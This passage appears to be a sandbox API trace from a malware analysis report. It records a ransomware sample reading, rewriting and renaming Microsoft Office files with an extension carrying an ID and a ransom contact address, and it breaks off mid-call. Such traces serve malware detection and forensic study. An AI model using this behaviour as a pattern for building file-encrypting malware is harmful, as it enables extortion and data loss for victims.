(lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0168.232] GetProcessHeap () returned 0x630000 [0168.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x721adf0 [0168.232] GetProcessHeap () returned 0x630000 [0168.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70b4308 [0168.233] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.233] ReadFile (in: hFile=0x714, lpBuffer=0x721adf0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721adf0*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.841] GetProcessHeap () returned 0x630000 [0176.841] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0176.841] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.841] WriteFile (in: hFile=0x714, lpBuffer=0x70b4308*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b4308*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.842] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.842] WriteFile (in: hFile=0x714, lpBuffer=0x70bf707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70bf707*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.842] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.842] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.842] CloseHandle (hObject=0x714) returned 1 [0176.842] GetProcessHeap () returned 0x630000 [0176.843] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70b4308 | out: hHeap=0x630000) returned 1 [0176.985] GetProcessHeap () returned 0x630000 [0176.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721adf0 | out: hHeap=0x630000) returned 1 [0176.985] GetProcessHeap () returned 0x630000 [0176.985] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0177.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5b810e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0x9ec7496, dwReserved1=0x721ade8, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.053] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.053] Sleep (dwMilliseconds=0x1) [0177.063] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT", len=0x44 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT") returned 1 [0177.063] GetProcessHeap () returned 0x630000 [0177.063] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b20) returned 0x707d3d0 [0177.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.139] CloseHandle (hObject=0x678) returned 1 [0177.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.140] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIDEC8~1.FIR")) returned 0x6d52c0 [0177.140] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.140] GetProcessHeap () returned 0x630000 [0177.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6e78 [0177.140] GetProcessHeap () returned 0x630000 [0177.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6428 [0177.140] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.140] ReadFile (in: hFile=0x678, lpBuffer=0x71f6e78, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6e78*, lpNumberOfBytesRead=0x6c3ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.142] GetProcessHeap () returned 0x630000 [0177.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0177.142] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.142] WriteFile (in: hFile=0x678, lpBuffer=0x71f6428*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6428*, lpNumberOfBytesWritten=0x6c3ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.142] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.142] WriteFile (in: hFile=0x678, lpBuffer=0x71f64e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f64e7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.142] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.142] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.142] CloseHandle (hObject=0x678) returned 1 [0177.143] GetProcessHeap () returned 0x630000 [0177.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6428 | out: hHeap=0x630000) returned 1 [0177.143] GetProcessHeap () returned 0x630000 [0177.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6e78 | out: hHeap=0x630000) returned 1 [0177.143] GetProcessHeap () returned 0x630000 [0177.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0177.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f88cca1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x6c3fd20, dwReserved1=0x71f6e78, cFileName="WINPROJ_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WIDEC8~1.FIR")) returned 0x6d5580 [0177.143] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0177.143] Sleep (dwMilliseconds=0x1) [0177.276] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC", len=0x46 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC") returned 1 [0177.276] GetProcessHeap () returned 0x630000 [0177.277] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2af4) returned 0x707d3d0 [0177.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.277] CloseHandle (hObject=0x714) returned 1 [0177.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~4.FIR")) returned 0x6d4e40 [0177.278] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0177.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxc.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.279] GetProcessHeap () returned 0x630000 [0177.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c3e0 [0177.279] GetProcessHeap () returned 0x630000 [0177.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2a1) returned 0x67c118 [0177.279] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.279] ReadFile (in: hFile=0x714, lpBuffer=0x67c3e0, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c3e0*, lpNumberOfBytesRead=0x6c3ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.451] GetProcessHeap () returned 0x630000 [0177.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0177.451] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.451] WriteFile (in: hFile=0x714, lpBuffer=0x67c118*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c118*, lpNumberOfBytesWritten=0x6c3ff0c*=0x280, lpOverlapped=0x0) returned 1 [0177.451] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.451] WriteFile (in: hFile=0x714, lpBuffer=0x67c397*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67c397*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.452] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.452] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.452] CloseHandle (hObject=0x714) returned 1 [0177.452] GetProcessHeap () returned 0x630000 [0177.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c118 | out: hHeap=0x630000) returned 1 [0177.452] GetProcessHeap () returned 0x630000 [0177.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67c3e0 | out: hHeap=0x630000) returned 1 [0177.452] GetProcessHeap () returned 0x630000 [0177.452] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0177.452] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.452] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fb879dd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2af, dwReserved0=0x6c3fd20, dwReserved1=0x67c3e0, cFileName="VISIO_STD_COL.HXC.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~4.FIR")) returned 0x6d5000 [0177.452] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0177.452] Sleep (dwMilliseconds=0x1) [0177.479] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL", len=0x41 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL") returned 1 [0177.480] GetProcessHeap () returned 0x630000 [0177.480] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac0) returned 0x707d3d0 [0177.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0177.527] CloseHandle (hObject=0x68c) returned 1 [0177.527] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.528] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.528] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19d7f1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x19d7f1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x19fdec5, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xb060, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISCOL~1.FIR")) returned 0x6d5480 [0177.529] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0177.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\viscolor.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0177.529] GetProcessHeap () returned 0x630000 [0177.529] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb081) returned 0x720f9c0 [0177.529] GetProcessHeap () returned 0x630000 [0177.529] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb081) returned 0x721aa50 [0177.531] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.531] ReadFile (in: hFile=0x68c, lpBuffer=0x720f9c0, nNumberOfBytesToRead=0xb060, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720f9c0*, lpNumberOfBytesRead=0x6c3ff0c*=0xb060, lpOverlapped=0x0) returned 1 [0185.736] GetProcessHeap () returned 0x630000 [0185.736] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0185.737] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.737] WriteFile (in: hFile=0x68c, lpBuffer=0x721aa50*, nNumberOfBytesToWrite=0xb060, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721aa50*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb060, lpOverlapped=0x0) returned 1 [0185.741] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.741] WriteFile (in: hFile=0x68c, lpBuffer=0x7225aaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7225aaf*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.742] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.742] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.742] CloseHandle (hObject=0x68c) returned 1 [0185.742] GetProcessHeap () returned 0x630000 [0185.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x721aa50 | out: hHeap=0x630000) returned 1 [0185.743] GetProcessHeap () returned 0x630000 [0185.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720f9c0 | out: hHeap=0x630000) returned 1 [0185.743] GetProcessHeap () returned 0x630000 [0185.743] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0185.743] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19d7f1e, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x19d7f1e, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x34a7faa9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb084, dwReserved0=0x9ec7496, dwReserved1=0x720f9b8, cFileName="VISCOLOR.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISCOL~1.FIR")) returned 0x6d5280 [0185.743] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0185.743] Sleep (dwMilliseconds=0x1) [0187.471] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx", len=0x4d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx") returned 1 [0187.471] GetProcessHeap () returned 0x630000 [0187.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29b4) returned 0x707d3d0 [0187.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0187.472] CloseHandle (hObject=0x66c) returned 1 [0187.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.473] MultiByteToWideChar (in: 